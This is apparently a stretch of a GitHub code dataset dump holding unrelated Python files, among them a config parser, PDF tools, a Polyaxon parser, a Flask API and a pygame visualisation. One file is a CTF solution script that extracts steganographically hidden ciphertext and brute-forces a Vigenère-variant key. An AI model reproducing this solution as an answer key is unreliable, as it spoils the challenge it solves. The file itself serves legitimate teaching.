configparser.ConfigParser()\n\n return config\n\n\ndef add_path_config(stud_path_cli: str, room_path_cli: str) -> None:\n \"\"\" Write path of input files into config doc.\n\n :param stud_path_cli: path to students file\n :param room_path_cli: path to room list file\n \"\"\"\n config = get_config()\n\n config.add_section('CLI variables')\n config.set('CLI variables', 'students_path', stud_path_cli)\n config.set('CLI variables', 'rooms_path', room_path_cli)\n\n with open(SETTINGS_PATH, 'a') as config_file:\n config.write(config_file)\n\n\ndef get_db_config(db_name: str) -> dict:\n \"\"\" Receive configurations to DB connection from config doc.\n\n :param db_name: DB name from CLI\n :return: dictionary with configurations to connection\n \"\"\"\n config = get_config()\n\n config.read(SETTINGS_PATH)\n\n db_config = {}\n\n for section in DB_CONFIGS:\n db_config[section] = config[db_name][section]\n\n db_config['allow_local_infile'] = True\n\n return db_config\n\n\ndef get_table_names() -> tuple[str, str]:\n \"\"\" Receive table names from DB.\n\n :return: tuple with table names\n \"\"\"\n config = get_config()\n\n config.read(SETTINGS_PATH)\n\n return config['Tables']['table1'], config['Tables']['table2']\n\n\ndef get_format_config() -> tuple[str, str]:\n \"\"\" Receive formats for further transformations.\n\n :return: tuple with strings of formats\n \"\"\"\n config = get_config()\n\n config.read(SETTINGS_PATH)\n\n delimiter = config['Formats']['delimiter']\n date_format = config['Formats']['date_format']\n\n return delimiter, date_format\n\n\ndef get_students_path() -> str:\n \"\"\" Get path to students file from config doc.\n\n :return: string with path's to file from config\n \"\"\"\n config = get_config()\n config.read(SETTINGS_PATH)\n\n stud_path = config['Paths']['students_path']\n\n return stud_path\n\n\ndef get_rooms_path() -> str:\n \"\"\" Get path to rooms file from config doc.\n\n :return: string with path's to file from config\n \"\"\"\n config = get_config()\n config.read(SETTINGS_PATH)\n\n room_path = config['Paths']['rooms_path']\n\n return room_path\n","repo_name":"ApenkoAnastasia/Data-training","sub_path":"docker_containers_deployment/students_accommodation/src/students_accommodation/parsers/config_parser.py","file_name":"config_parser.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21138063716","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nSplit 1 pdf to X pdf\n\"\"\"\n\n# Import\nimport logging\nimport os\nimport subprocess\n\nimport send2trash\n\nfrom common import createLog, parsingLine\nfrom nemoBase import NemoBase\n\n\nclass SplitPdf(NemoBase):\n def __init__(self, root_log, args):\n root_log_name = '.'.join([root_log, self.__class__.__name__])\n self.logCB = logging.getLogger(root_log_name)\n super().__init__(root_log, root_log_name, args)\n\n def run(self):\n command = \"pdftk\"\n command_options = \"burst output\"\n command_set_output = True\n delete_file = False\n auth_ext = [\".pdf\"]\n res_ext = \"_%04d.pdf\"\n msg_not_found = \"No pdf file has been found.\"\n self.setConfig(command, command_options, command_set_output,\n delete_file, auth_ext, res_ext, msg_not_found)\n self.runCommand()\n\n\ndef main():\n # Create log class\n root_log = 'splitPdf'\n (parsedArgs, args) = parsingLine()\n logger = createLog(root_log, parsedArgs)\n logger.info(\"START\")\n SplitPdf(root_log, args).run()\n logger.info(\"STOP\\n\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gregorybrancq/nemoScripts","sub_path":"splitPdf.py","file_name":"splitPdf.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29209239238","text":"from __future__ import absolute_import, division, print_function\n\nimport ast\nimport copy\nimport jinja2\nimport six\n\nfrom collections import Mapping, defaultdict\n\nfrom hestia.list_utils import to_list\nfrom rhea.utils import deep_update\n\nfrom polyaxon.exceptions import PolyaxonfileError\n\ntry:\n import numpy as np\nexcept (ImportError, ModuleNotFoundError):\n np = None\n\n\nclass Parser(object):\n \"\"\"Parses the Polyaxonfile.\"\"\"\n\n env = jinja2.Environment()\n\n @staticmethod\n def _get_section(config, section):\n if not hasattr(config, section):\n return None\n section_data = getattr(config, section)\n if hasattr(section_data, \"to_dict\"):\n return section_data.to_dict()\n return section_data\n\n @classmethod\n def parse(cls, spec, config, params): # pylint:disable=too-many-branches\n params = params or {}\n parsed_params = {param: params[param].display_value for param in params}\n\n parsed_data = {spec.VERSION: config.version, spec.KIND: config.kind}\n\n if config.name:\n parsed_data[spec.NAME] = config.name\n if config.description:\n parsed_data[spec.DESCRIPTION] = config.description\n if config.tags:\n parsed_data[spec.TAGS] = config.tags\n inputs = getattr(config, spec.INPUTS)\n if inputs:\n parsed_data[spec.INPUTS] = [io.to_dict() for io in inputs]\n outputs = getattr(config, spec.OUTPUTS)\n if outputs:\n parsed_data[spec.OUTPUTS] = [\n cls.parse_expression(spec, io.to_dict(), parsed_params)\n for io in outputs\n ]\n\n # Check workflow\n workflow_section = cls._get_section(config, spec.WORKFLOW)\n if workflow_section:\n parsed_data[spec.WORKFLOW] = cls.parse_expression(\n spec, workflow_section, parsed_params\n )\n workflow_params = copy.copy(parsed_data[spec.WORKFLOW])\n if workflow_params:\n parsed_params = deep_update(workflow_params, parsed_params)\n\n for section in spec.PARSING_SECTIONS:\n config_section = cls._get_section(config, section)\n if config_section:\n parsed_data[section] = cls.parse_expression(\n spec, config_section, parsed_params\n )\n\n for section in spec.OP_PARSING_SECTIONS:\n config_section = cls._get_section(config, section)\n if config_section:\n parsed_data[section] = cls.parse_expression(\n spec, config_section, parsed_params\n )\n\n config_section = cls._get_section(config, spec.CONTAINER)\n if config_section:\n parsed_data[spec.CONTAINER] = config_section\n\n return parsed_data\n\n @classmethod\n def parse_container(cls, spec, parsed_data, params):\n params = params or {}\n parsed_params = {param: params[param].display_value for param in params}\n config_section = parsed_data.get(spec.CONTAINER)\n if config_section:\n parsed_data[spec.CONTAINER] = cls.parse_expression(\n spec, config_section, parsed_params\n )\n return parsed_data\n\n @classmethod\n def parse_expression( # pylint:disable=too-many-branches\n cls, spec, expression, params, check_operators=False\n ):\n if isinstance(expression, (int, float, complex, type(None))):\n return expression\n if np and isinstance(expression, np.integer):\n return int(expression)\n if np and isinstance(expression, np.floating):\n return float(expression)\n if isinstance(expression, Mapping):\n if len(expression) == 1:\n old_key, value = list(six.iteritems(expression))[0]\n # always parse the keys, they must be base object or evaluate to base objects\n key = cls.parse_expression(spec, old_key, params)\n if check_operators and cls.is_operator(spec, key):\n return cls._parse_operator(spec, {key: value}, params)\n else:\n return {\n key: cls.parse_expression(spec, value, params, check_operators)\n }\n\n new_expression = {}\n for k, v in six.iteritems(expression):\n new_expression.update(\n cls.parse_expression(spec, {k: v}, params, check_operators)\n )\n return new_expression\n\n if isinstance(expression, list):\n return list(\n cls.parse_expression(spec, v, params, check_operators)\n for v in expression\n )\n if isinstance(expression, tuple):\n return tuple(\n cls.parse_expression(spec, v, params, check_operators)\n for v in expression\n )\n if isinstance(expression, six.string_types):\n return cls._evaluate_expression(spec, expression, params, check_operators)\n\n @classmethod\n def _evaluate_expression(cls, spec, expression, params, check_operators):\n result = cls.env.from_string(expression).render(**params)\n if result == expression:\n try:\n return ast.literal_eval(result)\n except (ValueError, SyntaxError):\n pass\n return result\n return cls.parse_expression(spec, result, params, check_operators)\n\n @classmethod\n def _parse_operator(cls, spec, expression, params):\n k, v = list(six.iteritems(expression))[0]\n op = spec.OPERATORS[k].from_dict(v)\n return op.parse(spec=spec, parser=cls, params=params)\n\n @staticmethod\n def is_operator(spec, key):\n return key in spec.OPERATORS\n\n @classmethod\n def _parse_graph(cls, spec, graph, params): # noqa, too-many-branches\n input_layers = to_list(graph[\"input_layers\"])\n layer_names = set(input_layers)\n tags = {}\n layers = []\n outputs = []\n layers_counters = defaultdict(int)\n unused_layers = set(input_layers)\n\n if not isinstance(graph[\"layers\"], list):\n raise PolyaxonfileError(\n \"Graph definition expects a list of layer definitions.\"\n )\n\n def add_tag(tag, layer_value):\n if tag in tags:\n tags[tag] = to_list(tags[tag])\n tags[tag].append(layer_value[\"name\"])\n else:\n tags[tag] = layer_value[\"name\"]\n\n def get_layer_name(layer_value, layer_type):\n if \"name\" not in layer_value:\n layers_counters[layer_type] += 1\n return \"{}_{}\".format(layer_type, layers_counters[layer_type])\n\n return layer_value[\"name\"]\n\n layers_params = {}\n layers_params.update(params)\n\n last_layer = None\n first_layer = True\n for layer_expression in graph[\"layers\"]:\n parsed_layer = cls.parse_expression(\n spec, layer_expression, layers_params, True\n )\n # Gather all tags from the layers\n parsed_layer = to_list(parsed_layer)\n for layer in parsed_layer:\n if not layer:\n continue\n\n layer_type, layer_value = list(six.iteritems(layer))[0]\n\n if layer_value is None:\n layer_value = {}\n # Check that the layer has a name otherwise generate one\n name = get_layer_name(layer_value, layer_type)\n if name not in layer_names:\n layer_names.add(name)\n layer_value[\"name\"] = name\n else:\n raise PolyaxonfileError(\n \"The name `{}` is used 2 times in the graph. \"\n \"All layer names should be unique. \"\n \"If you need to reference a layer in a for loop \"\n \"think about using `tags`\".format(name)\n )\n\n for tag in to_list(layer_value.get(\"tags\", [])):\n add_tag(tag, layer_value)\n\n # Check if the layer is an output\n if layer_value.get(\"is_output\", False) is True:\n outputs.append(layer_value[\"name\"])\n else:\n # Add the layer to unused\n unused_layers.add(layer_value[\"name\"])\n\n # Check the layers inputs\n if not layer_value.get(\"inbound_nodes\"):\n if last_layer is not None:\n layer_value[\"inbound_nodes\"] = [\n last_layer[\"name\"] # noqa, unsubscriptable-object\n ]\n if first_layer and len(input_layers) == 1:\n layer_value[\"inbound_nodes\"] = input_layers\n if first_layer and len(input_layers) > 1:\n raise PolyaxonfileError(\n \"The first layer must indicate which input to use,\"\n \"You have {} layers: {}\".format(\n len(input_layers), input_layers\n )\n )\n\n first_layer = False\n for input_layer in layer_value.get(\"inbound_nodes\", []):\n if input_layer not in layer_names:\n raise PolyaxonfileError(\n \"The layer `{}` has a non existing \"\n \"inbound node `{}`\".format(layer_value[\"name\"], input_layer)\n )\n if input_layer in unused_layers:\n unused_layers.remove(input_layer)\n\n # Add layer\n layers.append({layer_type: layer_value})\n\n # Update layers_params\n layers_params[\"tags\"] = tags\n\n # Update last_layer\n last_layer = layer_value\n\n # Add last layer as output\n if last_layer:\n if last_layer[\"name\"] not in outputs:\n outputs.append(last_layer[\"name\"])\n\n # Remove last layer from unused layers\n if last_layer[\"name\"] in unused_layers:\n unused_layers.remove(last_layer[\"name\"])\n\n # Check if some layers are unused\n if unused_layers:\n raise PolyaxonfileError(\n \"These layers `{}` were declared but are not used.\".format(\n unused_layers\n )\n )\n\n return {\n \"input_layers\": to_list(graph[\"input_layers\"]),\n \"layers\": layers,\n \"output_layers\": outputs,\n }\n","repo_name":"elviejokike/polyaxon","sub_path":"cli/polyaxon/specs/libs/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":10757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"10977427910","text":"# the standard input according to the problem statement.\n\nl = int(input())\nh = int(input())\nt = input()\nfor i in range(h):\n row = input()\n out = \"\"\n for ch in t:\n ch_upper = ord(ch.upper())\n if 65 <= ch_upper <= 91:\n loc = ch_upper - 65\n else:\n loc = 26\n out += row[l * loc: l * (loc + 1)]\n print(out)\n","repo_name":"Tianorder/CodinGame","sub_path":"puzzles/easy/ascii-art/ascii-art.py","file_name":"ascii-art.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35742205438","text":"from typing import List\nimport pygame\nimport math\nimport sys\nimport os\n\n\nPI = math.pi\n\n\nclass Visualization:\n def __init__(self):\n self.W: int = 1200\n self.H: int = 700\n self.WIN: pygame.surface.Surface = pygame.display.set_mode((self.W, self.H))\n\n self.running: bool = True\n self.clock: pygame.time.Clock = pygame.time.Clock()\n self.FPS: int = 60\n\n self.n: int = 11\n self.time: float = 0\n\n self.wave: List[float] = []\n\n pygame.display.set_caption(\"Fourier Series\")\n\n def update(self) -> None:\n self.WIN.fill((30, 30, 30))\n\n x = 350\n y = self.H // 2\n for i in range(self.n):\n px, py = x, y\n\n n = i * 2 + 1\n radius = 100 * (4 / (n * PI))\n\n x += radius * math.cos(n * self.time)\n y += radius * math.sin(n * self.time)\n\n pygame.draw.circle(self.WIN, (255, 255, 255), (px, py), radius, 1)\n pygame.draw.line(self.WIN, (255, 255, 255), (x, y), (px, py), 2)\n pygame.draw.circle(self.WIN, (255, 255, 255), (x, y), 4)\n\n self.wave.insert(0, y)\n\n if len(self.wave) > 500:\n self.wave.pop()\n\n pygame.draw.line(\n self.WIN, (255, 255, 255), (x, y), (self.W // 2 + 150, self.wave[0])\n )\n\n for i, value in enumerate(self.wave[:-1]):\n x = self.W // 2 + 150 + i\n pygame.draw.line(\n self.WIN, (255, 255, 255), (x, value), (x, self.wave[i + 1])\n )\n\n pygame.display.update()\n\n self.time -= 0.05\n\n def event_handler(self) -> None:\n for event in pygame.event.get():\n if event.type == pygame.QUIT or (\n event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE\n ):\n pygame.quit()\n sys.exit()\n\n def run(self) -> None:\n while self.running:\n self.clock.tick(self.FPS)\n self.event_handler()\n self.update()\n\n\ndef run() -> None:\n pygame.init()\n vis = Visualization()\n vis.run()\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"Emc2356/Visualizations","sub_path":"other/FourierSeries.py","file_name":"FourierSeries.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"7145974916","text":"import os\r\nfrom PyPDF2 import PdfFileMerger\r\nimport time\r\n\r\ncurDate = time.strftime('%Y%m%d')\r\nrootdir = 'C:/Example/Merge'\r\n\r\nfor subdir, dirs, files in os.walk(rootdir):\r\n for currentPDF in files:\r\n merger = PdfFileMerger()\r\n endName = os.path.join(currentPDF)\r\n print (\"File is: \" + endName)\r\n input1temp = 'C:/Example/Merge/' + endName\r\n input2temp = 'C:/Example/Pages to append.pdf'\r\n input1 = open(input1temp, \"rb\")\r\n input2 = open(input2temp, \"rb\")\r\n merger.append(fileobj=input1, pages=(0,1))\r\n merger.append(fileobj=input2, pages=(0,12))\r\n outputfile = 'C:/Example/Merge/To Batch/' + endName\r\n\r\n output = open(outputfile, \"wb\")\r\n merger.write(output)\r\n output.close()\r\n\r\n #clear all inputs\r\n outputfile = []\r\n output = []\r\n merger.inputs = []\r\n input1temp = []\r\n input2temp = []\r\n input1 = []\r\n input2 = []\r\n\r\nprint (\"done\")\r\n","repo_name":"xharr1/Misc-Python-Files","sub_path":"CombineLetters.py","file_name":"CombineLetters.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24961167116","text":"from EmbedAndExtract import *\nfrom ImageSplitCombine import *\nfrom VariantVigenere import *\n\nvariantVigenere = VariantVigenere()\n\n# Step 1: extract text from image\nsplit_image(\"mona_lisa_modified.pgm\", \"header_orig.txt\", \"body_modified.txt\")\nciphertext_recovered = extract(\"body_modified.txt\")\nprint(\"ciphertext_recovered = \", ciphertext_recovered)\n# 1O7a5B0nKhnM4iJWBz/TGyob/VxHHNqTGS+K/q/B/kAZ2BIOz0pV2urWIUMbIhfh\n\n# Step 2: guess the key\n# by mapping the table, we can get the first 8 characters of the key is \"counters\"\nvariantVigenere1 = VariantVigenere()\n# since base64 encode 6 bits at a time instead of 8 bits\nencoded_prefix = variantVigenere1.string_to_base64(\"fcs22{\")\nkey_prefix = variantVigenere1.guess_key(ciphertext_recovered[:len(encoded_prefix)], encoded_prefix)\nprint(\"key_prefix =\", key_prefix) # counters\n\n# Method 1: bruteforce the rest\nfor a in range(97, 123):\n for b in range(97, 123):\n for c in range(97, 123):\n for d in range(97, 123):\n for e in range(97, 123):\n key_test = key_prefix + chr(a) + chr(b) + chr(c) + chr(d) + chr(e)\n try:\n variantVigenere.decrypt(ciphertext_recovered, key_test)\n flag_recovered = variantVigenere.get_plain()\n print(\"flag_recovered = \", flag_recovered)\n except:\n continue\n\n# Method 2: stop bruteforcing after certain pattern is found\n# by luck can find some word that can reveal part of the key\n# e.g. \"found_\"\nencoded_part = variantVigenere1.string_to_base64(\"found_\")\nprint(encoded_part)\nfor start in range(len(ciphertext_recovered)):\n try:\n key_part = variantVigenere1.guess_key(ciphertext_recovered[start:start + len(encoded_part)], encoded_part)\n print(\"key_part =\", key_part) # key_part = unterstr\n except:\n break\n# bruteforce/googleing fill the rest : counterstrike\n\n# Method 3: guessing certain part of the plaintext and map back manually\n","repo_name":"MasonGYC/50.042CTF_Group5","sub_path":"submission/attack_scripts/AttackScript.py","file_name":"AttackScript.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10118029478","text":"# class gaji:\r\n# def __init__(self, gaji_bulanan):\r\n# self.gaji_bulanan = gaji_bulanan\r\n \r\n# def total(self):\r\n# return(self.gaji_bulanan*12)\r\n\r\n# class pegawai:\r\n# def __init__(self, gaji_bulanan, bonus):\r\n# self.gaji_bulanan = gaji_bulanan\r\n# self.bonus = bonus\r\n# self.obj_gaji = gaji(self.gaji_bulanan)\r\n \r\n# def hasil_tahunan(self):\r\n# return \"Total\" + str(self.obj_gaji.total() + self.bonus) + \"Rupiah\"\r\n\r\n# obj_pegawai = pegawai(2600, 500)\r\n# print(obj_pegawai.hasil_tahunan())\r\n\r\nclass gaji:\r\n def __init__(self, gaji_bulanan):\r\n self.gaji_bulanan = gaji_bulanan\r\n\r\n def total(self):\r\n return (self.gaji_bulanan*12)\r\n\r\nclass Pegawai:\r\n jumlah = 0\r\n\r\n def __init__(self, nama, gaji_bulanan, bonus):\r\n self.nama = nama\r\n self.gaji_bulanan = gaji_bulanan\r\n self.bonus = bonus\r\n self.obj_gaji = gaji(self.gaji_bulanan)\r\n Pegawai.jumlah += 1\r\n\r\n def hasil_tahunan(self):\r\n return 'Total: ' + str(self.obj_gaji.total() + self.bonus)+ 'rupiah'\r\n\r\n def tampiljumlah(self):\r\n print('Total pegawai: ', Pegawai.jumlah)\r\n \r\n def tampilpegawai(self):\r\n print(f'''\r\n\r\nNama : {self.nama}\r\ngaji : {self.gaji_bulanan}\r\nbonus : {self.bonus}\r\n\r\n''')\r\n\r\n def tunjangan(self, istri=None, anak=None):\r\n if anak != None and istri !=None:\r\n total = anak + istri\r\n print('Tunjangan anak + istri = ', total)\r\n \r\n else:\r\n total = istri\r\n print('Tunjangan istri = ', total)\r\n\r\nnama = str(input('Masukkan nama : '))\r\ngaji_bulanan = int(input('Input gaji : '))\r\nbonus = int(input('Input bonus : '))\r\nanak = int(input('Input tunjangan anak : '))\r\nistri = int(input('Input tunjangan istri : '))\r\n\r\n\r\npeg1 = Pegawai(nama, gaji_bulanan, bonus)\r\npeg2 = Pegawai(nama, gaji_bulanan, bonus)\r\npeg1.tampilpegawai()\r\npeg2.tampilpegawai()\r\npeg1.tunjangan(anak, istri)\r\npeg2.tunjangan(istri)\r\n\r\nprint(\"Total pegawai = %d\" % Pegawai.jumlah)\r\nrataGaji = (peg1.gaji_bulanan + peg2.gaji_bulanan)/Pegawai.jumlah\r\nprint(\"Rata-rata gaji = \"+ str(rataGaji))\r\n\r\n\r\nprint(peg1.hasil_tahunan())\r\nprint(peg2.hasil_tahunan())","repo_name":"Veratinafriday/Tugas-PBOP","sub_path":"Tugas_PBO/Tugas/pertemuan 9/pegawai.py","file_name":"pegawai.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13135372811","text":"\nimport matplotlib.pyplot as FUNCTION_GRAPH\n\n \ndef FUNCTION_INFO_GRAPH():\n\n #Setting Value\n x_a = 23 # number user 2564y\n x_b = 7 # number user 2565y\n z_a = 22 # pay with payment\n z_b = 8 # pay with money\n ranges = 2 # number bar \n MAIN_TITLE = \"Display Graph\"; # Title main\n TITLE_A = \"HEADER A\" # Title Graph A\n TITLE_B = \"HEADER B\" # Title Graph B\n NAME_X = (\"2564\",\"2565\"); # year\n NAME_Z = (\"PAYMENT\",\"MONEY\"); # pay\n xl = \"using2564 =23 , using2565 =7\" # Txt.info A\n xx = \"usingpay =22 , usingmoney =8\"# Txt.info B\n \n\n X = range(ranges) # define value bar \n Y = (x_a,x_b) # define value 2564,2565\n W =range(ranges) # define value bar\n Z =(z_a,z_b) # define value payment , money\n FIG = FUNCTION_GRAPH.figure(MAIN_TITLE); #define name title main\n \n \n FIG.add_subplot(121) # create graph A\n FUNCTION_GRAPH.title(TITLE_A) # create header graph\n FUNCTION_GRAPH.bar(X,Y) #create bar graph\n FUNCTION_GRAPH.xticks(X,NAME_X) #chang name[] int number > string \n FUNCTION_GRAPH.xlabel(xl) #detail info using\n\n \n FIG.add_subplot(122) # create graph B\n FUNCTION_GRAPH.title(TITLE_B) # create header graph\n FUNCTION_GRAPH.bar(W,Z ,color = \"green\") #create bar graph chang color\n FUNCTION_GRAPH.xticks(X,NAME_Z) #chang name[] int number > string \n FUNCTION_GRAPH.xlabel(xx) #detail info using\n FUNCTION_GRAPH.show() # getchar () Display Terminal\n \nif __name__ == '__main__': # == void Mian\n FUNCTION_INFO_GRAPH() # function\n\n # ติดตั้ง Library matplotlib \n # คำสั่ง [ pip install matplotlib ] cmd , shell , terminal <\n # ให้รวม MODULE \n # คำสั่ง import INFO_GRAPH_DISPLAY\n # เรียกใช้ Function FUNCTION_INFO_GRAPH() ใน if __name__ == '__main__':\n","repo_name":"uranus1038/Graph_python","sub_path":"INFO_GRAPH_DISPLAY.py","file_name":"INFO_GRAPH_DISPLAY.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31924374688","text":"import requests\n\n\n\nclass PayutcJsonClientError(Exception):\n\n def __init__(self, genre, msg, http_code=None):\n self.genre = genre\n self.msg = msg\n self.http_code = http_code\n\n def __str__(self):\n if http_code is not None:\n return \"JsonException(type={%s}, msg={%d}, http_code={%d})\" % (self.genre, self.code, self.http_code)\n else:\n return \"JsonException(type={%s}, msg={%d})\" % (self.genre, self.msg)\n \n \nclass PayutcJsonClient(object):\n\n def __init__(self, url, service, user_agent=\"python jsonclient\"):\n u\"\"\"Crée un client lié à un service\n\n Arguments :\n url -- url de base du serveur\n service -- le service avec lequel le client est lié\n user_agent -- le user agent qu'utilisera le client\n \n Lève une JsonClientError si le serveur ne renvoie pas un code 200\n \n \"\"\"\n \n self.url = url\n self.user_agent = user_agent\n self.service = service\n self.session = requests.Session()\n self.session.headers.update({'User-Agent': self.user_agent})\n \n def set_service(self, service):\n self.service = service\n\n def get_cookie(self):\n return self.session.cookies[\"PHPSESSID\"]\n\n def set_cookie(self, cookie):\n self.session.cookies[\"PHPSESSID\"] = cookie\n\n def call(self, func, **params):\n u\"\"\"Se connecte au service pour chercher le résultat de func(params)\n Retourne la réponse sous la forme d'un objet python (list, dict, boolean, …) \n\n Arguments :\n func -- méthode du service à appeler\n params -- dict des arguments de la fonction\n \n Lève une PayutcJsonClientError si le serveur ne renvoie pas un code 200\n \n \"\"\"\n\n if not func:\n raise ValueError(\"Le paramètre func doit être fourni\")\n \n url = \"%s/%s/%s\" % (self.url, self.service, func)\n\n r = self.session.post(url, data=params)\n \n if r.status_code is not requests.codes.ok:\n raise PayutcJsonClientError(\"InvalidHTTPCode\", \"La page n'a pas renvoyé un code 200.\", r.status_code)\n \n return r.json()\n\nif __name__ == '__main__':\n c = PayutcJsonClient(\"http://payutc.code.localhost/server/web\", \"POSS3\")\n\n \n \n \n\n\n\n","repo_name":"alecalve/payutc_json_client","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4524144889","text":"from flask import Flask, jsonify, request\nimport json\n\nserver = Flask(__name__)\nArchivo = \"API/Empleados.json\"\n\n\ndef leerArchivo(nombreArchivo):\n f = open(nombreArchivo)\n texto = f.read()\n f.close()\n return texto\n\n\n@server.route('/api/sps/helloworld/v1', methods=['GET'])\ndef obtenerEmpleados():\n archivo = leerArchivo(Archivo)\n\n Empleados = json.loads(archivo)\n print(type(Empleados))\n return jsonify({'response': 'Hola Mundo'}, {'Empleados': Empleados})\n\n\n@server.route('/api/sps/helloworld/v1/', methods=['GET'])\ndef obtenerEmpleado(nombreEmpleado):\n archivo = leerArchivo(Archivo)\n Empleados = json.loads(archivo)\n\n Empleado = [empleado for empleado in Empleados if empleado['nombre'].lower()\n == nombreEmpleado.lower()]\n print(Empleado)\n if len(Empleado) > 0:\n return jsonify({'Empleado': Empleado})\n\n return jsonify({'error': 'Empleado no encontrado'})\n\n\nif __name__ == '__main__':\n # Se pone\n server.run(host=\"0.0.0.0\", port=8080, debug=True)\n","repo_name":"mrueda020/Microservicios","sub_path":"API/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25406754858","text":"\nfrom ..common.multisite_component import MultiSiteComponent\nfrom .firewall import UpdateFirewall\n\nclass MultiSiteUpdate(MultiSiteComponent):\n\n NAME = \"multisite_update\"\n VERSION = \"1.0\"\n API_VERSION = 1\n REQUIRES = ('multisite_master', )\n ACLS = {\n 'CORE' : set(('getMultisiteType', )),\n 'multisite_master' : set(('callRemote', 'getFirewallState', 'registerSubComponent',)),\n 'multisite_transport' : set(('callRemote', 'hostFile', 'getFile', 'removeFile')),\n 'update' : set(('sendUpgradeArchive', 'applyUpgrades', 'deleteArchive', )),\n 'ufwi-conf' : set(('takeWriteRole', 'endUsingWriteRole',)),\n }\n\n FIREWALL_CLASS = UpdateFirewall\n CONFIG_PATH = 'multisite_update.xml'\n\n ROLES = {\n 'multisite_read' : set((\n \"status\",\n \"getTasks\",\n )),\n 'multisite_write' : set((\n \"@multisite_read\",\n \"applyUpdate\",\n \"deleteTask\",\n \"rescheduleTask\",\n ))\n }\n\n def init(self, core):\n MultiSiteComponent.init(self, core)\n\n def service_applyUpdate(self, ctx, sched_options, name, filename, encoded_bin):\n fw = self.getFirewall(name)\n d = self.checkRoleCall(ctx, name, 'nuconf_write', fw.applyUpdate, sched_options, filename, encoded_bin)\n return d\n","repo_name":"maximerobin/Ufwi","sub_path":"etude_de_base/ufwi-administration-suite-ufwi-multisite/ufwi_multisite/master/update/multisite_update.py","file_name":"multisite_update.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"43429042006","text":"# cook your dish here\nt=int(input())\nfor i in range(t):\n s=input()\n for j in range(len(s)-1):\n if(j==0):\n p=int(s[j])^int(s[j+1])\n else:\n p=p^int(s[j+1])\n if(p==1):\n print(\"WIN\")\n else:\n print(\"LOSE\")\n \n \n \n","repo_name":"prasadnitesh202/Codechef-Challenges","sub_path":"chefdil.py","file_name":"chefdil.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38354515548","text":"import utils.utils as utils\nimport torch.nn as nn\n\ndef plot_layerwise_sparsity(model, writer, epoch_num):\n layerwise_sparsity = []\n for name,module in model.named_modules():\n if hasattr(module, 'weight'):\n total_w = module.weight.numel()\n w_pruned = (module.weight==0).sum().item()\n writer.add_scalar('layerwise_sparsity/' + name + '.weight', float(w_pruned)/total_w, epoch_num)\n \n if hasattr(module, 'bias') and module.bias is not None:\n total_b = module.bias.numel()\n b_pruned = (module.bias==0).sum().item()\n writer.add_scalar('layerwise_sparsity/' + name + '.bias', float(b_pruned)/total_b, epoch_num)\n\ndef plot_hparams(writer, config, train_acc, test_acc, train_loss, test_loss, sparsity):\n import copy\n\n metrics = {'train_acc': train_acc,\n 'test_acc': test_acc,\n 'train_loss': train_loss,\n 'test_loss': test_loss,\n 'sparsity': sparsity}\n\n hparams = copy.deepcopy(config)\n hparams['lambas'] = hparams['lambas'][0]\n\n # Correct types if it's the case\n if hparams['reg_type'] is None:\n hparams['reg_type'] = 'none'\n if hparams['milestones'] is None:\n hparams['milestones'] = 'none'\n else:\n hparams['milestones'] = str(hparams['milestones'])\n \n # Delete uninformative parameters\n del hparams['device'] \n del hparams['logdir']\n\n for k,v in hparams.items():\n print('{} - {} - {}'.format(k, v, type(v)))\n writer.add_hparams(hparams, metrics)\n\n\ndef plot_stats(train_acc, train_loss, test_acc, test_loss, model, writer, epoch_num, config, cls_module):\n writer.add_scalar('acc/train', train_acc, epoch_num)\n writer.add_scalar('acc/test', test_acc, epoch_num)\n writer.add_scalar('acc/generalization_err', train_acc-test_acc, epoch_num)\n writer.add_scalar('loss/train', train_loss, epoch_num)\n writer.add_scalar('loss/test', test_loss, epoch_num)\n writer.add_scalar('sparsity/sparsity', model.sparsity, epoch_num)\n writer.add_scalar('sparsity/remaining_connections', utils.get_num_connections(cls_module), epoch_num)","repo_name":"FlipoutThrowaway/flipout2020","sub_path":"utils/plotters.py","file_name":"plotters.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74530806488","text":"# This was replaced with ytdl_updated.py\n\nimport sys\nimport threading\nfrom youtube_functions import *\n\ndef download_youtube_data(video_url=None):\n if not video_url:\n video_url = get_video_url()\n \n if not video_url:\n print(\"No video URL provided.\")\n sys.exit(1) \n\n # Download comments and get the JSON data\n comments_data = download_comments_and_return_data(video_url)\n \n # 